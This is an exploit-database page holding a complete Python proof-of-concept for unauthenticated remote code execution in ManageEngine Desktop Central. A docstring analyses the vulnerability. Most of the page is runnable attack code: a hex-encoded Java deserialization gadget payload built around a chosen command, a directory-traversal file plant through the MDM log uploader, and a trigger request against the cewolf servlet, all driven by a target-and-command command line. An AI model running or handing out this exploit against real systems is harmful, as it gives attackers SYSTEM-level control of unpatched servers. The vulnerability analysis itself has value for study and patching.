Exploits / Vulnerability Discovered : 2019-12-12 |
Type : webapps |
Platform : multiple
This exploit / vulnerability Manageengine desktop central filestorage getchartimage deserialization / unauthenticated remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python3
"""
ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability
Download: https://www.manageengine.com/products/desktop-central/download-free.html
File ...: ManageEngine_DesktopCentral_64bit.exe
SHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826
Found by: mr_me
Date ...: 2019-12-12
Class ..: CWE-502
CVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
## Summary:
An unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root.
## Vulnerability Analysis:
In the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet.
At [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file:
```
public class FileStorage implements Storage {
static final long serialVersionUID = -6342203760851077577L;
String basePath = null;
List stored = new ArrayList();
private boolean deleteOnExit = false;
At [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation.
The most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation.
## Exploitation:
For exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filsystem with controlled content inside. Here is the corresponding web.xml entry:
File file = new File(localDirToStore);
if (!file.exists()) {
file.mkdirs(); // 4
}
logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore});
We can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions.
Of course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file:
Note that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: "logger.txt", "logger.zip", "mdmlogs.zip" and "managedprofile_mdmlogs.zip" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename.
saturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt
nt authority\system
"""
import os
import sys
import struct
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def _get_payload(c):
p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594"
p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400"
p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200"
p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265"
p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172"
p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e"
p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e"
p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172"
p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75"
p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e"
p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e"
p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d"
p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00"
p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a"
p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f"
p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072"
p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767"
p += "db37020000787000000002757200025b42acf317f8060854e002000078700000"
p += "069bcafebabe0000003200390a00030022070037070025070026010010736572"
p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75"
p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465"
p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162"
p += "6c655461626c6501000474686973010013537475625472616e736c6574506179"
p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c"
p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73"
p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f"
p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873"
p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c"
p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469"
p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73"
p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c"
p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f"
p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65"
p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074"
p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78"
p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e"
p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d"
p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865"
p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69"
p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63"
p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64"
p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041"
p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c"
p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572"
p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a"
p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f"
p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f"
p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f"
p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100"
p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f"
p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f"
p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061"
p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100"
p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469"
p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a"
p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f"
p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033"
p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961"
p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269"
p += "616c2f50776e657237363332383835383532303630393b002100020003000100"
p += "040001001a000500060001000700000002000800040001000a000b0001000c00"
p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e"
p += "000e0000000c000100000005000f003800000001001300140002000c0000003f"
p += "0000000300000001b100000002000d00000006000100000033000e0000002000"
p += "0300000001000f00380000000000010015001600010000000100170018000200"
p += "19000000040001001a00010013001b0002000c000000490000000400000001b1"
p += "00000002000d00000006000100000037000e0000002a000400000001000f0038"
p += "00000000000100150016000100000001001c001d000200000001001e001f0003"
p += "0019000000040001001a00080029000b0001000c00000024000300020000000f"
p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020"
p += "00000002002100110000000a000100020023001000097571007e0010000001d4"
p += "cafebabe00000032001b0a000300150700170700180700190100107365726961"
p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505"
p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100"
p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65"
p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365"
p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164"
p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473"
p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61"
p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f"
p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f"
p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300"
p += "2100020003000100040001001a00050006000100070000000200080001000100"
p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000"
p += "000600010000003b000e0000000c000100000005000f00120000000200130000"
p += "0002001400110000000a000100020016001000097074000450776e7270770100"
p += "7871007e000d78"
obj = bytearray(bytes.fromhex(p))
obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694)
obj[0x6e5:0x6e7] = struct.pack(">H", len(c))
start = obj[:0x6e7]
end = obj[0x6e7:]
return start + str.encode(c) + end
def we_can_plant_serialized(t, c):
# stage 1 - traversal file write primitive
uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t
p = {
"udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart",
"filename" : "logger.zip"
}
h = { "Content-Type" : "application/octet-stream" }
d = _get_payload(c)
r = requests.post(uri, params=p, data=d, verify=False)
if r.status_code == 200:
return True
return False
def we_can_execute_cmd(t):
# stage 2 - deserialization
uri = "https://%s:8383/cewolf/" % t
p = { "img" : "\\logger.zip" }
r = requests.get(uri, params=p, verify=False)
if r.status_code == 200:
return True
return False
def main():
if len(sys.argv) != 3:
print("(+) usage: %s <target> <cmd>" % sys.argv[0])
print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0])
sys.exit(1)
t = sys.argv[1]
c = sys.argv[2]
if we_can_plant_serialized(t, c):
print("(+) planted our serialized payload")
if we_can_execute_cmd(t):
print("(+) executed: %s" % c)